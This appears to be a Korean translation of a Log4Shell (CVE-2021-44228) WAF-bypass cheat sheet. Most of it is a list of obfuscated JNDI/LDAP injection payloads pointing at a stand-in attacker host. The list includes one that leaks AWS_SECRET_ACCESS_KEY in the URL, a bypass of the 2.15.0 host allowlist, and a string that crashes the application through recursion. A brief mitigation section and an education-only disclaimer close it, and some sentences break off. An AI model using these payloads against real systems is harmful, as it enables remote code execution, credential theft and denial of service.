
🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java 익스플로잇 - WAF 우회 트릭
CVE-2021-44228는 다음에서 작동합니다:
log4j: 2.0 <= Apache log4j <= 2.14.1
이미 패치된 Java 버전: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender에서 jndi:ldap:....을 포함하는 .java 파일을 제거하기 시작했습니다.
간단한 공격자 스크립트 (가능한 RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF 또는 개발자가 다음 구문을 차단하기 시작했습니다:
애플리케이션을 보호하기 위해.
그러나 공격자는 다음 기술 중 하나를 사용하여 이를 우회할 수 있습니다:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
Apache Log4j 2 문서에서: ${env:ENV_NAME:-default_value}
ENV_NAME 시스템 환경 변수가 없으면 :- 뒤의 텍스트를 사용합니다.
공격자는 ENV_NAME 대신 어떤 이름이든 사용할 수 있지만, 존재하지 않아야 합니다.
또는 해커가 환경 변수를 읽을 수 있습니다. 예: AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
더 많은 비밀은 🦄🔒 환경 변수에 있는 비밀 목록 🖥️에서 확인하세요.
시스템 환경 변수를 확인할 수 있습니다:
dir env:printenv 또는 env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
소문자 조회 (Lower Lookup) LowerLookup은 전달된 인수를 소문자로 변환합니다. 값은 중첩 조회의 결과일 것입니다.
${lower:<text>}
대문자 조회 (Upper Lookup) UpperLookup은 전달된 인수를 대문자로 변환합니다. 값은 중첩 조회의 결과일 것입니다.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı가 i로 변환됩니다.
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
SYS_NAME 시스템 속성이 없으면 :- 뒤의 텍스트를 사용합니다.
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
Java 날짜 형식은 YYYY를 2021로 변환하지만, 'YYYY'를 YYYY로, 'j'를 j로 변환합니다.
다음 문자를 바꿉니다:
자세한 내용은 HTML URL 인코딩 참조에서 확인하세요.
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
조회의 존재 여부를 확인하지 않고 기본값을 사용합니다.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"이 키와 값은 개별적으로는 공격을 나타내지 않지만, 모두 함께 사용하면 공격이며, 이 공격은 JSON 파서 때문에 탐지 시스템에 투명하게 보입니다." 자세히 읽기...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
일부 문자를 유니코드로 변환합니다.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Log4J 2.15.0에서 allowedLdapHost 및 allowedClasses 검사를 우회합니다. java.net.URI getHost() 메서드는 # 앞의 값을 실제 호스트로 반환합니다. 그러나 JNDI/LDAP 리졸버는 전체 호스트 이름 문자열로 해석하여 악의적인 LDAP 서버에 연결을 시도합니다.
${${::-${::-$${::-j}}}}
어떤 이유로든 다음 문자열에 대해 문자열 대체가 시도되면 무한 재귀를 유발하여 애플리케이션이 충돌합니다.
CVE-2021-44228을 악용하기 위해 특수 PDF 파일을 제작합니다.

엔트리를 테스트하려면 다음을 사용할 수 있습니다:
tl;dr log4j-2.17.1 이상으로 업데이트하세요.
Log4j 1.x 완화: Log4j 1.x에는 Lookups가 없으므로 위험이 낮습니다. Log4j 1.x를 사용하는 애플리케이션은 구성에서 JNDI를 사용하는 경우에만 이 공격에 취약합니다. 이 취약점에 대해 별도의 CVE(CVE-2021-4104)가 등록되었습니다. 완화 방법: 로깅 구성을 감사하여 JMSAppender가 구성되어 있지 않은지 확인하세요. JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않습니다.
Log4j 2.x 완화: 아래 완화 기법 중 하나를 구현하세요.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 및 HTTP 헤더나 사용자 입력과 같은 애플리케이션 외부 출처에서 오는 ${ctx:loginId} 또는 $${ctx:loginId}와 같은 Context Lookups에 대한 참조를 제거하세요.log4j-core JAR 파일만 이 취약점의 영향을 받습니다. log4j-api JAR 파일만 사용하고 log4j-core JAR 파일 없이 사용하는 애플리케이션은 이 취약점의 영향을 받지 않습니다.

이 프로젝트는 교육 목적으로만 사용될 수 있습니다. 사전 허가 없이 대상 시스템에 대해 이 소프트웨어를 사용하는 것은 불법이며, 이 소프트웨어의 오용으로 인한 손해에 대해 저자는 책임을 지지 않습니다.
저자는 CVE-2021-44228 및 일부 우회 기법의 작성자가 아닙니다.